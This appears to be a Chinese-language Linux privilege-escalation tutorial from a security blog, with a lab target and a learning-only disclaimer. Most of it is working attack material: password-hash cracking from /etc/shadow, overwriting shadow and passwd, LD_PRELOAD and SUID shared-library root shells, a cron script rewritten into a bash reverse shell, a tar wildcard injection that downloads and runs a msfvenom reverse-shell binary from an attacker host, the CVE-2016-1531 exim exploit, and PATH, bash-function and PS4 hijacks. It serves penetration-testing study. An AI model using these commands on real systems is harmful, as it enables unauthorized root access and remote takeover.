一、shadow和passwd利用
1、可读shadow文件利用提权
$ cat /etc/shadow | grep ':\$' > hash //提取普通用户和root的shadow保存到hash文件中
$ sudo john --wordlist=/usr/share/wordlists/rockyou.txt hash
2、可写shadow文件利用提权(利用可写权限将root用户密码切换成自己的)
$ ls -liah /etc/shadow
785007 -rw-r--rw- 1 root shadow 1.5K 10月 7日 16:36 /etc/shadow
$ cp /etc/shadow /tmp/shadow.bak //备份文件
$ hash-identifier '哈希值' //先判断加密方式(可能不准,也可能识别不出)
$ mkpasswd -m 加密方式 密码 //利用mkpasswd生成加密的密码哈希值
再将可写的shadow文件中root的哈希值替换为我们生成的哈希值,登录root即可提权成功。
3、可写passwd文件利用提权(直接将生成的哈希值写在占位符x的位置)
$ ls -liah /etc/passwd
787915 -rw-r--rw- 1 root root 3.1K 10月 7日 16:35 /etc/passwd
$ cp /etc/passwd /tmp/passwd.bak
$ openssl passwd 密码 //生成密码哈希(使用mkpasswd也可以)
再写到passwd中替换x,登录root即可提权成功。
二、sudo环境变量提权
$ sudo -l //查看当前用户可以执行哪些系统命令
Matching Defaults entries for user on this host:
env_reset, env_keep+=LD_PRELOAD
User user may run the following commands on this host:
(root) NOPASSWD: /usr/sbin/iftop
(root) NOPASSWD:/usr/bin/find
(root) NOPASSWD:/usr/bin/nano
(root) NOPASSWD:/usr/bin/vim
(root) NOPASSWD:/usr/bin/man
(root) NOPASSWD:/usr/bin/awk
(root) NOPASSWD:/usr/bin/less
(root) NOPASSWD:/usr/bin/ftp
(root) NOPASSWD:/usr/bin/nmap
(root) NOPASSWD:/usr/sbin/apache2
(root) NOPASSWD:/bin/more
env_reset 表示重置环境变量,用sudo执行命令时把之前的环境变量清除。
env_keep+=LD_PRELOAD 在保持原有环境变量的同时,增加动态链接器,预加载共享库,有这个选项就可以用来提权。 LD为linker dynamic动态链接器,LD_PRELOAD 是一个用于加载共享库的环境变量,通常在运行程序之前设置,以便在程序启动时预先加载指定的库。
$ vi shell.c //定义一个共享库
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
//预加载,优先于main函数执行
void _init() {
unsetenv("LD_PRELOAD"); //只执行一次即可,所以把预加载环境卸掉
setgid(0);
setuid(0);
system("/bin/bash");
$ gcc -fPIC -shared -o shell.so shell.c -nostartfiles
//-fPIC:生成与位置无关的代码,允许共享库在内存中的任何位置加载和执行。-shared:生成一个共享库而不是可执行文件。-nostartfiles:不使用标准系统启动文件,用于自定义启动代码。
$ sudo LD_PRELOAD=./shell.so find //利用find的sudo权限执行之前,预加载LD,从而提权。虽然在上述sudo -l的结果中,find本身就可以提权。
三、自动任务提权
1、自动任务文件权限提权(利用可写权限构造反弹shell)
$ cat /etc/crontab //查看自动任务
SHELL=/bin/sh
PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17* *** root cd / sg run-parts --report /etc/cron.hourly
25 6 *** root test -x /usr/sbin/anacron ll ( cd / sg run-parts --report /etc/cron.daily )
47 6 **7 root test -x /usr/sbin/anacron l ( cd / sg run-parts --report /etc/cron.weekly )
52 6 1** root test -x /usr/sbin/anacron ll ( cd / sg run-parts --report /etc/cron.monthly )
#
* * * * * root overwrite.sh
* * * * * root /usr/local/bin/compress.sh
$ locate overwrite.sh
/usr/local/bin/overwrite.sh
$ ls -liah /usr/local/bin/overwrite.sh
816761 -rwxr--rw- 1 root staff 40 May 13 2017/usr/local/bin/overwrite.sh
$ cat /usr/local/bin/overwrite.sh
#!/bin/bash
echo`date` > /tmp/useless
$ nc -lvnp 端口 //监听端口,等待反弹shell连接
$ vim /usr/local/bin/overwrite.sh
#!/bin/bash
bash -i >& /dev/tcp/IP/端口 0>&1 //利用可写权限构造反弹shell
2、自动任务PATH环境变量提权
$ cat /etc/crontab
SHELL=/bin/sh
PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
* * * * * root overwrite.sh
* * * * * root /usr/local/bin/compress.sh
$ locate overwrite.sh
/usr/local/bin/overwrite.sh //将overwrite.sh写入/home/user,即可优先执行。crontab使用自动任务中的路径,而不是用户自定义的路径。
$ cd /home/user
$ vim overwrite.sh
#!/bin/bash
cp /bin/bash /tmp/bash
chmod +xs /tmp/bash
$ chmod +x overwrite.sh
$ /tmp/bash -p //过一分钟后,执行即可提权成功
3、自动任务通配符提权
$ cat /usr/local/bin/compress.sh
#!/bin/sh
cd /home/user
tar czf /tmp/backup.tar.gz *
在kali中
# msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.0.254 LPORT=4444 -f elf -o shell.elf //生成一个反弹shell
# php -S 0:80
$ wget http://192.168.0.254/shell.elf //在靶机中下载反弹shell
$ chmod +xs shell.elf
$ touch /home/user/--checkpoint=1
//--checkpoint是tar命令中启用检查点功能,使得 tar 在处理文件时定期输出进度信息。
$ touch /home/user/--checkpoint-action=exec=shell.elf //--checkpoint-action:定义在每个检查点发生时应执行的操作。exec=shell.elf:在检查点执行shell.elf。
在kali中监听4444端口,等待自动任务执行后,反弹shell连接到kali即可提权成功。
四、SUID提权
1、SUID可执行文件已知利用提权(利用/usr/sbin/exim-4.84-3文件)
$ find /-perm -u=s -type f 2>/dev/null
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/sudoedit
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/chfn
/usr/local/bin/suid-so
/usr/local/bin/suid-env
/usr/local/bin/suid-env2
/usr/sbin/exim-4.84-3
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/pt_chown
/bin/ping6
/bin/ping
/bin/mount
/bin/su
/bin/umount
/tmp/rootbash
/sbin/mount.nfs
利用exim-4.84-3
# searchsploit exim
Exim 4.84-3 - Local Privilege Escalation | linux/local/39535.sh
# cat 39535.sh
#!/bin/sh
# CVE-2016-1531 exim <= 4.84-3 local root exploit
echo [ CVE-2016-1531 local root exploit
cat > /tmp/root.pm << EOF
package root;
use strict;
use warnings;
system("/bin/sh");
EOF
PERL5LIB=/tmp PERL5OPT=-Mroot /usr/exim/bin/exim -ps
下载到靶机上并执行即可提权成功
2、SUID共享库注入提权(利用/usr/local/bin/suid-so文件)
$ strings /usr/local/bin/suid-so
/lib64/ld-linux-x86-64.so.2
#eGVO CyIk
libdl.so.2
__gmon_start__
_Jv_RegisterClasses
dlopen
libstdc++.so.6
_ZNSt8ios_base4InitD1Ev_ZNSolsEPFRSoS_E
__gxx_personality_v0
Calculating something, please wait ...
/home/user/.config/libcalc.so
Done.
//查看进程执行过程中出现的错误,并筛选出上面的路径相关的内容
$ strace /usr/local/bin/suid-so 2>&1 | grep '/home'
open("/home/user/.config/libcalc.so",0 RDONLY)= -1 ENOENT (No such file or directory)
//当前目录为/home/user,并且没有.config目录及libcalc.so文件,所以可以自己创建对应的目录及文件,从而利用共享库文件提权。
$ ls -liah .config
ls:cannot access .config: No such file or directory
$ mkdir .config
$ cd .config
$ vim libcalc.c
#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
// __attribute__((constructor)):GCC的扩展属性,在 main 函数之前自动调用该函数。
void inject() {
setuid(0);
setgid(0);
system("/bin/bash -p");
}
$ gcc -fPIC -shared -o libcalc.so libcalc.c //生成共享库文件
$ /usr/local/bin/suid-so //执行此文件即可提权成功
3、SUID环境变量利用提权(利用/usr/local/bin/suid-env)
$ /usr/local/bin/suid-env
Starting web server: apache2httpd(pid 1596)already running
$ strings /usr/local/bin/suid-env
/lib64/ld-linux-x86-64.so.2
5q;Xq
__gmon_start__
libc.so.6
setresgid
setresuid
system
__libc_start_main
GLIBC 2.2.5
fff.
fffff.
l$ L
t$(L
|$0H
service apache2 start //由于service没有用绝对路径,所以可以考虑环境变量劫持
$ vi service.c
#include <stdio.h>
#include <stdlib.h>
void main(){
setuid(0);
setgid(0);
system("/bin/bash -p");
$ gcc -o service service.c
$ echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games:/sbin:/usr/sbin:/usr/local/sbin
$ export PATH=.:$PATH //将当前路径添加到环境变量
$ echo $PATH
.:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games:/sbin:/usr/sbin:/usr/local/sbin
再执行/usr/local/bin/suid-env,即可提权成功
4、用SUID-shell功能提权-1(利用/usr/local/bin/suid-env2)
$ strings /usr/local/bin/suid-env2
/lib64/ld-linux-x86-64.so.2
__gmon_start__
libc.so.6
setresgid
setresuid
system
__libc_start_main
GLIBC 2.2.5
fff.
fffff.
l$ L
t$(L
|$0H
/usr/sbin/service apache2 start
$ bash--version //当bash版本小于4.2时,可以在bash中定义函数,用路径组合做文件名
GNU bash,version 4.1.5(1)-release(x86 64-pc-linux-gnu)
bash命令查找的优先级为:1.别名 2.函数 3.内置命令 4.在PATH环境变量查找可执行文件。如果定义了一个函数名与 PATH 中的命令同名,那么函数将会优先于 PATH 中的可执行文件被执行。所以我们利用strings的结果,发现存在 /usr/sbin/service apache2 start命令,通过 /usr/sbin/service想到要判断bash的版本,以定义一个同名的函数做劫持。
$ function /usr/sbin/service { /bin/bash -p; } //以文件路径名作为函数名
$ export -f /usr/sbin/service //导出函数,在执行以及子进程执行时,都可以引用这个函数
再执行/usr/local/bin/suid-env2,即可提权成功
5、用SUID-shell功能提权-2 (利用/usr/local/bin/suid-env2)
//当bash版本小于4.4时,可以在调试模式下对环境变量进行设置,并在其中放入提权的代码
$ bash--version
GNU bash,version 4.1.5(1)-release(x86 64-pc-linux-gnu)
$ env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/bash; chmod +xs /tmp/bash)'
/usr/local/bin/suid-env2
env -i:清空所有环境变量,只设置在命令行中指定的环境变量。
SHELLOPTS:是 Bash 内置的一个环境变量,用于设置 shell 选项,可以设置多个选项并用:分隔。xtrace:set -x 的另一种形式,用于开启调试模式。启用时,shell 在执行每个命令之前都会将其打印到标准错误输出,可以看到每一步的实际命令及其参数,以便于调试。可以用set +x关闭调试模式。
PS是Prompt String提示字符串。PS1是主提示符,即终端提示符。PS2是续行提示符,当命令或语句没有结束,需要输入更多内容时,Bash 会使用 PS2 提示符。默认值为 > 。PS3用于 select 语句中的提示符,当你使用 select 循环来创建菜单时,PS3 会作为提示符。默认值为 #?
PS4是调试提示符,当启用了 set -x 或 xtrace 模式时,PS4 会在每条命令前显示一些额外信息。
默认值为 + 。bash版本4.4以下,可以在PS4下加入提权命令。
/usr/local/bin/suid-env2:用其他有SUID位的文件也可以,只是借助S位来实现,与具体文件无关。
$ /tmp/bash -p //执行提权即可成功
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)